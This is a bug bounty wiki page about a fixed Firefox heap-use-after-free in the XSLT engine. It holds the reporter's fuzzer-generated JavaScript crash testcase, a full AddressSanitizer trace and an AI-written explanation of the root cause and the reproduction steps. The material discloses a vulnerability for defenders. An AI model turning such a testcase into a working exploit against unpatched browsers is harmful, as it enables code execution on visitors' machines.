heap-use-after-free in txNameTest::matches
A heap-use-after-free occurs in txNameTest::matches when an XSLT transform runs after a node has been freed by the cycle collector. An attacker could trigger a crash in the content process, potentially leading to code execution.
- Fixed in 4 months
- Paid in 4 months
- Disclosed after 4 months
Created attachment 8893797 ASAN output
The following testcase crashes the latest ASAN build of Firefox (57.0a1, BuildID=20170803031846). It requires the attached ctop.xsl, mathml.xsl, math.xml and pmathml.xsl
<script> function start() { o0=document; document.documentElement.innerHTML="";; o16=o0.createElement('iframe'); o16.src='math.xml'; o19=o0.createElement('element'); o22=document.documentElement.querySelector('*:not([id])'); document.documentElement.appendChild(o16); o33=o0.createElement('marquee'); o33.addEventListener('DOMAttrModified',fun0); o33.style.objectPosition='341cm'; } function fun0() { o16.src='javascript:window.top.fun1(document)'; o39=o0.createElement('style'); o22.appendChild(o39); } function fun1(a) { o52=a; o53=o52.querySelector('*:not([id])'); o53.id='id7'; o39.replaceWith(undefined,o19); o79=o52.querySelector('*:not([id])'); o19.innerHTML='<script>window.top.fun2()</'+'script>'; o79.before(o22); } function fun2() { o53.textContent="a"; fuzzPriv.GC();fuzzPriv.CC();fuzzPriv.GC();fuzzPriv.CC(); } </script> <body onload="start()"></body>ASAN ouput:
==6027==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000195f5c at pc 0x7fe871141b2e bp 0x7fffeab00210 sp 0x7fffeab00208 READ of size 4 at 0x60c000195f5c thread T0 (Web Content) #0 0x7fe871141b2d in GetBoolFlag /home/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:1602:12 #1 0x7fe871141b2d in IsElement /home/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:440 #2 0x7fe871141b2d in isElement /home/worker/workspace/build/src/dom/xslt/xpath/txXPathTreeWalker.h:225 #3 0x7fe871141b2d in txNameTest::matches(txXPathNode const&, txIMatchContext*, bool&) /home/worker/workspace/build/src/dom/xslt/xpath/txNameTest.cpp:31 #4 0x7fe87114b2f5 in txPredicatedNodeTest::matches(txXPathNode const&, txIMatchContext*, bool&) /home/worker/workspace/build/src/dom/xslt/xpath/txPredicatedNodeTest.cpp:24:30 #5 0x7fe8711d1e86 in txStepPattern::matches(txXPathNode const&, txIMatchContext*, bool&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTPatterns.cpp:438:30 #6 0x7fe8711b3514 in txStylesheet::findTemplate(txXPathNode const&, txExpandedName const&, txIMatchContext*, txStylesheet::ImportFrame*, txInstruction**, txStylesheet::ImportFrame**) /home/worker/workspace/build/src/dom/xslt/xslt/txStylesheet.cpp:133:45 #7 0x7fe87117045a in txApplyTemplates::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:85:26 #8 0x7fe8711d347d in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:21 #9 0x7fe87119ce9a in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:679:14 #10 0x7fe8711aded3 in nsTransformBlockerEvent::Run() /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:562:17 #11 0x7fe86afd64ce in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1446:14 #12 0x7fe86afdc748 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:480:10 #13 0x7fe86bdee181 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #14 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #15 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #16 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #17 0x7fe87159c08f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27 #18 0x7fe875873c77 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:882:22 #19 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #20 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #21 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #22 0x7fe8758736e0 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:699:34 #23 0x4eb843 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30 #24 0x4eb843 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285 #25 0x7fe8888e182f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291 #26 0x41d198 in _start (/home/nils/fuzzer3/firefox/firefox+0x41d198)
0x60c000195f5c is located 28 bytes inside of 128-byte region [0x60c000195f40,0x60c000195fc0) freed by thread T0 (Web Content) here: #0 0x4bb6cb in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3 #1 0x7fe86ae71547 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2658:25 #2 0x7fe86ae7870b in FreeSnowWhite /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2846:3 #3 0x7fe86ae7870b in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3850 #4 0x7fe86ae77c23 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3671:9 #5 0x7fe86ae7b950 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4208:21 #6 0x7fe86dd5d77d in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1670:3 #7 0x7fe86d8a297b in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1410:3 #8 0x7fe86aff5bf1 in NS_InvokeByIndex /home/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:129 #9 0x7fe86c8c91a0 in Invoke /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1996:12 #10 0x7fe86c8c91a0 in Call /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1315 #11 0x7fe86c8c91a0 in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1282 #12 0x7fe86c8d016f in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:967:12 #13 0x7fe875d56a24 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #14 0x7fe875d56a24 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:469 #15 0x7fe875d3faa5 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:520:12 #16 0x7fe875d3faa5 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3064 #17 0x7fe875d26b19 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12 #18 0x7fe875d56bbc in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:487:15 #19 0x7fe875d57512 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:533:10 #20 0x7fe876751983 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:2890:12 #21 0x7fe86c7eb28b in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:315:18 #22 0x7fe875d56a24 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #23 0x7fe875d56a24 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:469 #24 0x7fe875d3faa5 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:520:12 #25 0x7fe875d3faa5 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3064 #26 0x7fe875d26b19 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12 #27 0x7fe875d56bbc in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:487:15 #28 0x7fe875d57512 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:533:10 #29 0x7fe876a095be in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:169:12 #30 0x7fe8769bce19 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:359:23 #31 0x7fe8769e98a3 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:481:21 #32 0x7fe8769ec267 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:741:12 #33 0x7fe875d56e6c in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #34 0x7fe875d56e6c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:451 #35 0x7fe875d3faa5 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:520:12 #36 0x7fe875d3faa5 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3064 #37 0x7fe875d26b19 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12 #38 0x7fe875d59337 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:698:15
previously allocated by thread T0 (Web Content) here: #0 0x4bba1c in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3 #1 0x4ecf3d in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7fe8710fff27 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:200:12 #3 0x7fe8710fff27 in nsXMLContentSink::FlushText(bool) /home/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:772 #4 0x7fe871101bee in nsXMLContentSink::HandleEndElement(char16_t const*, bool) /home/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:1038:3 #5 0x7fe86cbac6d1 in HandleEndElement /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:395:26 #6 0x7fe86cbac6d1 in Driver_HandleEndElement(void*, char16_t const*) /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:76 #7 0x7fe87367118a in doContent /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:2554:11 #8 0x7fe87366565a in contentProcessor /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:2098:27 #9 0x7fe87366565a in doProlog /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:4078 #10 0x7fe87365c0bd in prologProcessor /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:3812:10 #11 0x7fe87365c0bd in prologInitProcessor /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:3629 #12 0x7fe87365a391 in MOZ_XML_Parse /home/worker/workspace/build/src/parser/expat/lib/xmlparse.c:1530:17 #13 0x7fe86cba7897 in nsExpatDriver::ParseBuffer(char16_t const*, unsigned int, bool, unsigned int*) /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:1012:16 #14 0x7fe86cba8b42 in nsExpatDriver::ConsumeToken(nsScanner&, bool&) /home/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:1110:5 #15 0x7fe86cbb56d0 in nsParser::Tokenize(bool) /home/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1539:30 #16 0x7fe86cbb0f15 in nsParser::ResumeParse(bool, bool, bool) /home/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1056:41 #17 0x7fe86cbb68ea in nsParser::OnDataAvailable(nsIRequest*, nsISupports*, nsIInputStream*, unsigned long, unsigned int) /home/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1437:12 #18 0x7fe86b12ab5b in nsBaseChannel::OnDataAvailable(nsIRequest*, nsISupports*, nsIInputStream*, unsigned long, unsigned int) /home/worker/workspace/build/src/netwerk/base/nsBaseChannel.cpp:902:28 #19 0x7fe86b1795d4 in nsInputStreamPump::OnStateTransfer() /home/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:615:33 #20 0x7fe86b1782c8 in nsInputStreamPump::OnInputStreamReady(nsIAsyncInputStream*) /home/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:443:25 #21 0x7fe86af7115d in nsInputStreamReadyEvent::Run() /home/worker/workspace/build/src/xpcom/io/nsStreamUtils.cpp:97:20 #22 0x7fe86afa8c60 in mozilla::SchedulerGroup::Runnable::Run() /home/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:356:25 #23 0x7fe86afd64ce in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1446:14 #24 0x7fe86afdc748 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:480:10 #25 0x7fe86bdee181 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #26 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #27 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #28 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #29 0x7fe87159c08f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27 #30 0x7fe875873c77 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:882:22 #31 0x7fe86bd4b64b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #32 0x7fe86bd4b64b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #33 0x7fe86bd4b64b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #34 0x7fe8758736e0 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:699:34 #35 0x4eb843 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30 #36 0x4eb843 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285 #37 0x7fe8888e182f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:1602:12 in GetBoolFlag Shadow bytes around the buggy address: 0x0c188002ab90: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c188002aba0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c188002abb0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c188002abc0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c188002abd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa =>0x0c188002abe0: fa fa fa fa fa fa fa fa fd fd fd[fd]fd fd fd fd 0x0c188002abf0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c188002ac00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c188002ac10: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c188002ac20: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c188002ac30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==6027==ABORTING
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the XSLT processor holds a reference to a DOM node that is freed by the cycle collector during script execution, and later accesses it without checking.
Impact
An attacker could crash the browser and potentially execute arbitrary code in the content process.
What the attacker needed
Victim visits a malicious page; JavaScript enabled
How it was found
- Load a page that sets up an iframe with an XSLT stylesheet and a marquee element with a DOMAttrModified listener.
- Trigger the DOMAttrModified event to change the iframe source to a javascript: URL.
- In the handler, manipulate the DOM to replace elements and insert a script that calls a function to force garbage collection.
- The cycle collector frees a node that is still referenced by the XSLT processor.
- The XSLT transform then accesses the freed node, causing the crash.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A use-after-free happens when a program keeps using memory after it has been freed. Here, a web page with XSLT and JavaScript causes Firefox to free an object and then read it again, which crashes the browser. This is a memory safety bug that could be exploited to run malicious code.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.